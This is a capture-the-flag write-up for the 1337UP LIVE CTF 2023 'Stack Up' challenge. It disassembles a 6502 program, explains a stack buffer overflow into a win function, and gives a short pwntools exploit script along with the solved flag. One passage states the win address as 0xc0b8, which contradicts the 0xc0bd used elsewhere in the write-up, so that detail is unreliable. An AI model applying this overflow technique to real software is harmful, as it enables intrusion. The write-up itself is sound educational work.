Stack Up

by Davidpb / Davidpb

Tags: 6502 pwn

Rating:

1337UP LIVE CTF 2023

Stack Up

> Digging Deep: Unearthing Forgotten Artifacts from the Binary Age
> Author: DavidP, 0xM4hm0ud
> `stackup.zip`

Tags: *pwn*

Solution

We are provided with two files. This chall is similar to the `Impossible Mission` challenge, but now its an pwn challenge. One binary and one file with data in it. If we use `strings` on file `program.prg` we get some strings, like the REDACTED flag:

```
$ strings program.prg
INTIGRITI{REDACTED_REDACTED}
Welcome! Something here...
Bye bye!
Hello
```

Lets disassemble it with our disassembler that we created in the reversing challenge. Here the output(With some comments of my own):

```
; Set keyboard as active input channel
004c LDX 3
004e JSR ffc9

; Start of the program.
0051 LDA 20
0053 STA fb
0055 LDA c0
0057 STA fc
0059 JSR c0c9       ; Jumps to the print function
005c JSR c06d       ; Jumps to the function that takes our input
005f LDA 3c         ; Loads bye bye message
0061 STA fb
0063 LDA c0
0065 STA fc
0067 JSR c0c9       ; Jumps to the print function
006a RTS            ; Exits
```

```
; Take our input and does some checks
006b some var
006c some var
006d CLC
006e TSX
006f STX c06b       ; Stores the SP at some memory
0072 TXA
0073 SBC 32         ; Substract 0x32/50 from the SP
0075 TAX
0076 DEX
0077 TXS
0078 STA fd
007a LDA 1
007c STA fe
007e LDY 0
0080 LDA 0
0082 STA c06c
0085 JSR ffcf       ; This will take our input
0088 PHA
0089 LDA c06c       ; Loads our input length in the accumulator
008c CMP 64         ; Compares our input length in the accumulator with 0x64/100. 100 is Maxsize. OVERF
LOW is here because we can input more characters than the buffer can take(50)
008e PLA
008f BEQ 11
0091 STA (fd), y
0093 INY
0094 INC c06c       ; Increments our input length
0097 CMP d          ; d is 0x13(carriage return) so checks if user clicks on enter
0099 BEQ 7
009b CMP a          ; a is 0x10(newline) so checks if user clicks on enter
009d BEQ 3
009f JMP c085
00a2 LDA 45
00a4 STA fb         ; Loads Hello message
00a6 LDA c0
00a8 STA fc
00aa JSR c0c9       ; Jumps to the print function
00ad LDA fd         ; Loads our input
00af STA fb
00b1 LDA fe
00b3 STA fc
00b5 JSR c0c9       ; Jumps to the print function
00b8 LDX c06b       ; Grabs the SP and puts in the X register
00bb TXS
00bc RTS

; Win function
00bd LDA 3          ; Loads the flag
00bf STA fb
00c1 LDA c0
00c3 STA fc
00c5 JSR c0c9       ; Jumps to the print function
00c8 RTS

; Print function
00c9 LDY ff
00cb INY
00cc LDA (fb), y
00ce JSR ffd2
00d1 BNE f8
00d3 RTS
```

So from here we can see that we have an buffer overflow vulnerability and that there is a win function. We know 50 is the length so everything above 50 will be overflow. Our padding will be 51 because the buffer is 50 and SP points after the return address. We can also see it in the disassembled output:

```
006e TSX            ; Puts SP in X register
006f STX c06b       ; Stores the SP at some memory
0072 TXA            ; Puts value at X register in accumulator
0073 SBC 32         ; Substract 0x32/50 from the SP
0075 TAX            ; Puts accumulator back in X register
0076 DEX            ; Decrements X by 1
0077 TXS            ; Puts the value in the X register in the SP register
```

How do we know where we need to return? When we decompile the binary with ghidra for example, we can find the init function:

```
bool load_program(void *param_1,size_t param_2)
{
  if ((long)param_2 < 0x1001) {
    memcpy(&DAT_00114908,param_1,param_2);
    FUN_0010269e(0xffff);
    DAT_00108900 = 0xc000;          // program is loaded to 0xC000
  }
  return (long)param_2 < 0x1001;
}
```

We can see here that the base address is 0xc000. In the disassembled output from before we can see some addresses like `c0c4`, `c081`. Those are all addresses in the program. So to get the win address we can see in the disassembled output that the win starts at `00b8`:

```
; Win function
00b8 LDA 3 ; Loads the flag
00ba STA fb
00bc LDA c0
00be STA fc
00c0 JSR c0c4 ; Jumps to the print function
00c3 RTS
```

So the address is `0xc0b8`. We see that it loads the flag at offset 3. So lets see if the flag is there:

```
               ,------- flag value --------------------.
               v                                       v
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 4c 4c c0 49 4e 54 49 47 ┊ 52 49 54 49 7b 52 45 44 │LL×INTIG┊RITI{RED│
│00000010│ 41 43 54 45 44 5f 52 45 ┊ 44 41 43 54 45 44 7d 00 │ACTED_RE┊DACTED}0│
│00000020│ 57 65 6c 63 6f 6d 65 21 ┊ 20 53 6f 6d 65 74 68 69 │Welcome!┊ Somethi│
│00000030│ 6e 67 20 68 65 72 65 2e ┊ 2e 2e 0a 00 42 79 65 20 │ng here.┊.._0Bye │
│00000040│ 62 79 65 21 00 48 65 6c ┊ 6c 6f 20 00 a2 03 20 c9 │bye!0Hel┊lo 0×• ×│
│00000050│ ff a9 20 85 fb a9 c0 85 ┊ fc 20 c9 c0 20 6d c0 a9 │×× ××××┊× ×× m××│
│00000060│ 3c 85 fb a9 c0 85 fc 20 ┊ c9 c0 60 00 00 18 ba 8e │<××××××┊××`00•××│
│00000070│ 6b c0 8a e9 32 aa ca 9a ┊ 85 fd a9 01 85 fe a0 00 │k×××2×××┊×××•×××0│
│00000080│ a9 00 8d 6c c0 20 cf ff ┊ 48 ad 6c c0 c9 64 68 f0 │×0×l× ××┊H×l××dh×│
│00000090│ 11 91 fd c8 ee 6c c0 c9 ┊ 0d f0 07 c9 0a f0 03 4c │•××××l××┊_×•×_×•L│
│000000a0│ 85 c0 a9 45 85 fb a9 c0 ┊ 85 fc 20 c9 c0 a5 fd 85 │×××E××××┊×× ×××××│
│000000b0│ fb a5 fe 85 fc 20 c9 c0 ┊ ae 6b c0 9a 60 a9 03 85 │××××× ××┊×k××`×•×│
│000000c0│ fb a9 c0 85 fc 20 c9 c0 ┊ 60 a0 ff c8 b1 fb 20 d2 │××××× ××┊`××××× ×│
│000000d0│ ff d0 f8 60             ┊                         │×××`    ┊        │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
```

It indeed starts at that offset.

So if we put everything in a script we get:

> solve.py

```
from pwn import *

p = process(["runtime", "program.prg"])
p.sendline(b"a"*51 + b"\xbd\xc0")
print(p.readall())
```

Running this on remote will give us the flag.

Flag `INTIGRITI{d0_s0m3_r3tr0_pwn}`

Original writeup (https://github.com/D13David/ctf-writeups/blob/main/1337uplive/pwn/stack_up/README.md).

Comments